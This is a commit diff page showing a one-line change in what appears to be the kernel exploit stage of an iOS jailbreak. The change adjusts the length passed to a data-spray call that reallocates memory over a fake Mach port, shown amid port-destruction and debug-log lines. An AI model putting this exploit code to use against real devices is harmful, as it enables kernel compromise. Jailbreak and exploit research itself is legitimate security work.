summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rwxr-xr-xsrc/stage4/kexp/exploit.js2
1 files changed, 1 insertions, 1 deletions
diff --git a/src/stage4/kexp/exploit.js b/src/stage4/kexp/exploit.js
index 19d2623..e96dea4 100755
--- a/src/stage4/kexp/exploit.js
+++ b/src/stage4/kexp/exploit.js
@@ -537,7 +537,7 @@ again: while (true) {
usleep(10000);
sched_yield();
mach_port_destroy(mach_task_self(), read_u32(fakeportData));
- ret__ = spray_data(tst, tst_str.length, 10, fakeportData);
+ ret__ = spray_data(tst, tst_str.length + 1, 10, fakeportData);
p0laris_log("sd %d (%s)\n", ret__, mach_error_string(ret__));
p0laris_log("fuck\n");
p0laris_log("done realloc");